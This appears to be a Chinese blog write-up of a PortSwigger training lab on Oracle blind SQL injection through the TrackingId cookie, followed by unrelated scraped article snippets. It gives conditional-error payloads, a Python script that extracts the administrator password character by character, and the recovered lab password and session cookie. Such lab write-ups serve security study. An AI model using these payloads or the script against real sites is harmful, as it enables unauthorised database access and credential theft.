首页 > 数据库 > burpsuite靶场----SQL注入12----oracle的布尔盲注

burpsuite靶场----SQL注入12----oracle的布尔盲注

时间:2023-08-18 17:00:44浏览次数:53  
标签:administrator 12 END burpsuite ELSE ---- TrackingId payload

burpsuite靶场----SQL注入12----oracle的布尔盲注

靶场地址

https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors

正式开始

1.找到注入点为cookie中的TrackingId
2.因为oracle使用||进行连接的
所以先判断闭合
payload: TrackingId=7zHLwisTii2Zhhpe'
报错

payload: TrackingId=7zHLwisTii2Zhhpe''
没有报错
所以用'进行闭合
3.然后使用子查询判断表的存在(现实情况下只能暴力跑表了)
payload: TrackingId=7zHLwisTii2Zhhpe'||(select '' from users where rownum=1)||'

4.然后是判断表中的字段的存在
这里使用burpsuite靶场提供的答案
payload: '||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
1=1是正确的,然后会char(1/0),会导致报错

payload: '||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
1=2是错误的,然后会执行'' END FROM dual的查询操作
所以根据返回包中是否会存在报错的字段来判断后面ELSE的是否查询出内容
5.然后确定某个字段名存在(暴力跑表) 后者没有报错,证明administrator字段名存在
payload: '||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
payload: '||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

6.使用脚本跑出password
payload: '||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = 'https://0a8a00f604ee14a9806f03ab001e00f8.web-security-academy.net/filter?category=Accessories'
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Upgrade-Insecure-Requests': '1',
    'Sec-Fetch-Dest': 'document',
    'Sec-Fetch-Mode': 'navigate',
    'Sec-Fetch-Site': 'same-origin',
    'Sec-Fetch-User': '?1',
    'Te': 'trailers'
}
dict='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ#'
num=1
flag=''
while True:
    for i in dict:
        print(i)
        if i=='#':
            break
        payload="\'||(select case when substr(password,{},1)=\'{}\' then to_char(1/0) else \'\' end from users where username=\'administrator\')||\'".format(str(num),i)
        cookies={'TrackingId':'7zHLwisTii2Zhhpe'+payload,'session':'xoXQdJkb8a9bokGLV9E2Mgy9Wgbkj3hh'}
        print(cookies['TrackingId'])
        response = requests.get(url,headers=headers,cookies=cookies,verify=False)
        if 'Internal Server Error' in response.text:
            print('good')
            flag+=i
            num+=1
            break
        print(flag)
    if i=='#':
        break
print('成功获取密码:'+flag)

获取到密码

然后administrator bfzhlqm8xcr39bhmcpnm
成功登录

标签:administrator,12,END,burpsuite,ELSE,----,TrackingId,payload
From: https://www.cnblogs.com/thebeastofwar/p/17640741.html

相关文章

  • 28、中继配置DHCP服务(relay模式)
    中继配置的意义:DHCP服务器与DHCP客户端不在同一网段内,避免每一个网段都布置DHCP服务,DHCP中继负责DHCP服务器与DHCP客户端之间的DHCP报文转发。1、拓扑如下2、交换机配置 SW2的配置如下Thedeviceisrunning!<Huawei>sysEntersystemview,returnuserviewwithCtrl......
  • 数字孪生技术与Scada有什么区别?
    虽然SCADA和数字孪生用于工业领域,但它们有不同的用途。SCADA专注于工业过程的实时监测和控制,而数字孪生用于模拟和分析系统的性能。接下来,让我们详细讨论SCADA和数字孪生(SCADA与数字孪生)之间的区别。SCADA与数字孪生的差异SCADA系统专注于工业过程的实时监测和控制,而数字孪生则......
  • systemctl开机自启keepalived--九五小庞
    一、通过systemctl开机自启keepalived设置1.查看已启动的服务列表:systemctllist-unit-files|grepenabled输出的结果中无keepalived.service2.设置在开机时启用服务:systemctlenablekeepalived.service3.查看服务是否开机启动:systemctlis-enabledkeepalived.service结果......
  • web浏览器查看隐藏的密码
    有时候我们在web浏览器中输入密码时,有些系统密码框并没有查看密码的小脚丫,我们也不知道有没有输错,如下图:查看隐藏的密码(此方法也适用于已经保存过的密码):1、我们在密码框中鼠标右键,选择“检查”2、然后会进入代码检查器3、我们将代码type="password"这项改为 type="text"......
  • 广东实验中学暑假训练-5
    A题意通过删除一个字符串中的某些元素而不改变其余元素的顺序,可以派生出该字符串的一个子序列。例如,序列BDF是ABCDEF的子序列。字符串的子字符串是该字符串的连续子序列。例如,BCD是ABCDEF的子串。你得到了两个字符串s1,s2和另一个名为virus的字符串。你的任务是找到s1......
  • java实现大文件上传插件
    ​ 这里只写后端的代码,基本的思想就是,前端将文件分片,然后每次访问上传接口的时候,向后端传入参数:当前为第几块文件,和分片总数 下面直接贴代码吧,一些难懂的我大部分都加上注释了:上传文件实体类:看得出来,实体类中已经有很多我们需要的功能了,还有实用的属性。如MD5秒传的信息。......
  • 管理和维护RHCS集群
    管理和维护RHCS集群是一个非常复杂和繁琐的工作,要维护好一个RHCS集群,必须熟悉RHCS的基本运行原理,在集群管理方面,RHCS提供了两种方式:即Luci图形界面方式和命令行方式,这儿重点讲述在命令行下如何管理RHCS集群。启动RHCS集群RHCS集群的核心进程有cman和rgmanager。要启动集群......
  • 【快应用】如何避免通知栏提示快应用一直获取地理位置
    ​ 【关键词】地理位置、subscribe、unsubscribe 【问题背景】快应用中调用geolocation.subscribe接口获取地理位置,即使在定位完成后,会在通知栏一直显示某某快应用在获取地理位置,为了避免用户认为一直在获取他的位置,导致用户的反感,这里提供一种方式来去掉这种提示。​ ......
  • 【学习笔记】简单数论-快速幂
    luoguP1226【模板】快速幂|取余运算#include<bits/stdc++.h>usingnamespacestd;#definelllonglong#definesortstable_sort#defineendl'\n'llqpow(lla,llb,llp){llans=1;while(b>0){if(b&1){......
  • 【HarmonyOS】服务卡片 API6 JSUI跳转不同页面
    ​【引言】“JS卡片支持为组件设置action,包括router事件和message事件,其中router事件用于应用跳。若设置router事件,则action属性值为"router";abilityName为卡片提供方应用的跳转目标Ability名;params中的值按需填写,其值在使用时通过intent.getStringParam("params")获取即可;”这一......